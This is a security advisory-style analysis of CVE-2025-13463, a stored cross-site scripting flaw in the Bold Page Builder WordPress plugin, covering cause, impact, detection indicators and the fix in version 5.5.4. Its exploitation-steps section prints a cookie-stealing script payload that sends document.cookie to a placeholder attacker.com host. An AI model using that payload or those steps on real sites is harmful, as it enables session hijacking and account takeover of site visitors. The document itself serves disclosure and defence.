CVE-2025-13463: 
WordPress vulnerability analysis and mitigation

CVE-2025-13463 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.5.3. The flaw exists in the Post Grid component due to insufficient input sanitization and output escaping, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts into pages. The vulnerability was published on February 7, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a DOM-based stored XSS variant. The vulnerability resides in the bt_bb_css_post_grid.php (line 46) and bt_bb_css_post_grid.js (line 8) files of the Post Grid component, where user-supplied input is neither properly sanitized on input nor escaped on output. An authenticated attacker with at minimum Author-level WordPress privileges can craft a malicious page or post using the Bold Page Builder's Post Grid component, embedding JavaScript payloads that execute in the browsers of any user who subsequently visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session when they visit an injected page, impacting both confidentiality and integrity. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While availability is not directly impacted, the changed scope means the attack can affect users beyond the attacker's own session, including site administrators, potentially enabling privilege escalation or site takeover (Wordfence, Red Hat).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13463 as of the available data. The EPSS score is approximately 0.01% (0.0001), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Author-level access: Obtain or compromise a WordPress account with at least Author-level privileges on the target site running Bold Page Builder ≤ 5.5.3.
2. Create or edit a page: Navigate to the WordPress editor and use the Bold Page Builder to add or edit a page containing the Post Grid component.
3. Inject malicious payload: In the Post Grid component's vulnerable input field (processed by bt_bb_css_post_grid.php or bt_bb_css_post_grid.js), insert a crafted JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent DOM-based XSS vector.
4. Publish the page: Save and publish the page; the injected script is stored server-side without sanitization.
5. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• File System: Unexpected or modified content in wp-content/plugins/bold-page-builder/content_elements/bt_bb_css_post_grid/bt_bb_css_post_grid.php or bt_bb_css_post_grid.js; presence of <script> tags or encoded JavaScript within WordPress post/page database entries for pages using the Post Grid component.
• Logs: WordPress access logs showing POST requests to page/post edit endpoints by Author-level accounts followed by unusual outbound requests from victim browsers; web server logs showing requests to external attacker-controlled domains originating from site visitor sessions.
• Network: Outbound HTTP/S requests from site visitors' browsers to unknown or suspicious external domains immediately after loading pages built with Bold Page Builder's Post Grid component.
• Database: WordPress wp_posts or wp_postmeta tables containing obfuscated JavaScript, <script> tags, or eval()/atob() patterns within Post Grid component data.

Users should update the Bold Page Builder plugin to version 5.5.4 or later, which addresses the insufficient input sanitization and output escaping in the Post Grid component. As an interim measure, site administrators can restrict Author-level user permissions or temporarily disable the Bold Page Builder plugin until patching is feasible. Regularly auditing user roles and limiting the number of accounts with Author-level or higher access reduces the attack surface (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, noting it as a medium-severity stored XSS issue requiring authenticated access. No significant independent researcher commentary, vendor statements beyond the Wordfence advisory, or notable social media discussion has been identified for this CVE (Wordfence Weekly Report).